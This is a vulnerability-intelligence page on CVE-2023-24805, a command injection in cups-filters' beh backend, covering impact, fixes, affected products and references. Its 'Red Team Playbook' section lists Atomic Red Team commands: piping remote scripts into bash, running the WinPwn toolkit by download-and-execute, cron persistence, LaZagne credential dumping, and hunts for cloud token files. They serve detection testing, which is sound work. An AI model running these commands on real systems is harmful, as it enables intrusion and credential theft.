CVE-2023-24805
Overview
This vulnerability is a command injection flaw in the cups-filters package, specifically within the Backend Error Handler (beh) component. The root cause lies in the use of the system() call with a command line string constructed from unsanitized, user-controlled input. This allows arbitrary shell commands to be executed in the context of the cups printing service on non-macOS operating systems.
Vulnerability Description
cups-filters contains backends, filters, and other software required to get the cups printing service working on operating systems other than macos. If you use the Backend Error Handler (beh) to create an accessible network printer, this security vulnerability can cause remote code execution. `beh.c` contains the line `retval = system(cmdline) >> 8;` which calls the `system` command with the operand `cmdline`. `cmdline` contains multiple user controlled, unsanitized values. As a result an attacker with network access to the hosted print server can exploit this vulnerability to inject system commands which are executed in the context of the running server. This issue has been addressed in commit `8f2740357` and is expected to be bundled in the next release. Users are advised to upgrade when possible and to restrict access to network printers in the meantime.
Impact
An attacker with network access and limited privileges on the print server can execute arbitrary system commands remotely with the privileges of the cups-filters backend process. This can lead to full compromise of the print server, including data theft, service disruption, or lateral movement within the network. The vulnerability requires no user interaction and has low attack complexity (CVSS vector AV:N/AC:L/PR:L/UI:N), making exploitation feasible in exposed network environments.
Solution
Users of OpenPrinting cups-filters should upgrade to versions including the fix from commit 8f2740357 as soon as possible. The fix is expected in the next official release following 2.0 rc1. In the interim, administrators should restrict network access to printers using the Backend Error Handler. Detailed patch information and advisories are available at https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x and the Fedora package announcement linked in the references.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the cups-filters software arises from improper handling of user-controlled input within the Backend Error Handler (beh). Specifically, the code segment that invokes the system command using unsanitized values poses a significant risk. The line `retval = system(cmdline) >> 8;` allows an attacker to manipulate the `cmdline` variable, which can include arbitrary commands. This lack of input validation creates an avenue for remote code execution, enabling malicious actors to execute commands on the print server with the same privileges as the service itself. The implications of this flaw are severe, particularly in environments where cups-filters is deployed to manage network printing services across various operating systems.
Attack vectors exploiting this vulnerability primarily involve network access to the affected print server. An attacker could craft a malicious print job or send specially formatted requests that include harmful commands. Once the print server processes these requests, the attacker can gain control over the underlying operating system, leading to unauthorized access to sensitive data, system configuration changes, or even lateral movement within the network. This scenario highlights the ease with which an attacker could exploit the vulnerability, particularly in environments where network printers are accessible without adequate security measures.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on cups-filters for their printing needs. Successful exploitation could lead to data breaches, loss of intellectual property, and significant operational disruptions. The business risks associated with such incidents include financial losses, reputational damage, and potential legal ramifications stemming from data protection regulations. Organizations may also face increased scrutiny from stakeholders and customers regarding their cybersecurity practices, particularly if sensitive information is compromised.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, it is crucial to upgrade to the latest version of cups-filters as soon as it becomes available, as the developers have addressed this issue in a recent commit. In the interim, restricting access to network printers is essential; this can be achieved by implementing firewall rules or network segmentation to limit exposure. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities in their printing infrastructure. Monitoring logs for unusual activity related to print jobs can also help detect potential exploitation attempts early.
In conclusion, the vulnerability in cups-filters represents a significant threat to network security, particularly in environments where printing services are integral to operations. By understanding the technical details, potential attack vectors, and real-world implications, organizations can take proactive measures to safeguard their systems. Implementing robust detection and mitigation strategies will not only protect against this specific vulnerability but also enhance overall cybersecurity posture, ensuring that sensitive information remains secure in an increasingly complex threat landscape.
CSURFACE threat intelligence has detected a modest but consistent increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2023-24805, rising by approximately 15% to 0.1024. This upward trend, coupled with a slight increase observed over the past week, signals growing interest or potential preparatory activity by threat actors targeting the cups-filters vulnerability. Although no new exploit techniques or proof-of-concept code have surfaced in our telemetry, the elevated EPSS score suggests that exploitation attempts may become more frequent or sophisticated in the near term. For defenders, this shift underscores the need to maintain heightened vigilance around printing service components, particularly those leveraging the Backend Error Handler (beh). The risk level, while not yet escalated to critical, now warrants closer monitoring given the vulnerability’s high severity and the potential for remote code execution in networked environments. This development emphasizes that adversaries may be increasingly focusing on this attack vector, which could lead to more widespread exploitation if left unaddressed.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Linuxfoundation | Cups-Filters | All |
cpe:2.3:a:linuxfoundation:cups-filters:*:*:*:*:*:*:*:*
|
|
|
Linuxfoundation | Cups-Filters | 2.0 |
cpe:2.3:a:linuxfoundation:cups-filters:2.0:beta1:*:*:*:*:*:*
|
|
|
Linuxfoundation | Cups-Filters | 2.0 |
cpe:2.3:a:linuxfoundation:cups-filters:2.0:beta2:*:*:*:*:*:*
|
|
|
Linuxfoundation | Cups-Filters | 2.0 |
cpe:2.3:a:linuxfoundation:cups-filters:2.0:beta3:*:*:*:*:*:*
|
|
|
Linuxfoundation | Cups-Filters | 2.0 |
cpe:2.3:a:linuxfoundation:cups-filters:2.0:rc1:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 37 |
cpe:2.3:o:fedoraproject:fedora:37:*:*:*:*:*:*:*
|
|
|
Fedoraproject | Fedora | 38 |
cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 10.0 |
cpe:2.3:o:debian:debian_linux:10.0:*:*:*:*:*:*:*
|
|
|
Debian | Debian Linux | 11.0 |
cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
52%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
51%
|
Medium | High | |
| CAPEC-6 | Argument Injection |
48%
|
High | High |
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (8)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-24805 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/OpenPrinting/cups-filters/security/advisories/GHSA-gpxc-v2m8-fr3x |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/OpenPrinting/cups-filters/commit/8f274035756c04efeb77eb654e9d4c4447287d65 |
| lists.fedoraproject.org |
GitHub CVE
|
https://lists.fedoraproject.org/archives/list/[email protected]/message/YNCGL2ZTAS2GFF23QFT55UFWIDMI4ZJK/ |
| lists.debian.org |
GitHub CVE
|
https://lists.debian.org/debian-lts-announce/2023/05/msg00021.html |
| debian.org |
GitHub CVE
|
https://www.debian.org/security/2023/dsa-5407 |
| lists.fedoraproject.org |
GitHub CVE
|
https://lists.fedoraproject.org/archives/list/[email protected]/message/KL2SJMZQ5T5JIH3PMQ2CGCY5TUUE255Y/ |
| security.gentoo.org |
GitHub CVE
|
https://security.gentoo.org/glsa/202401-06 |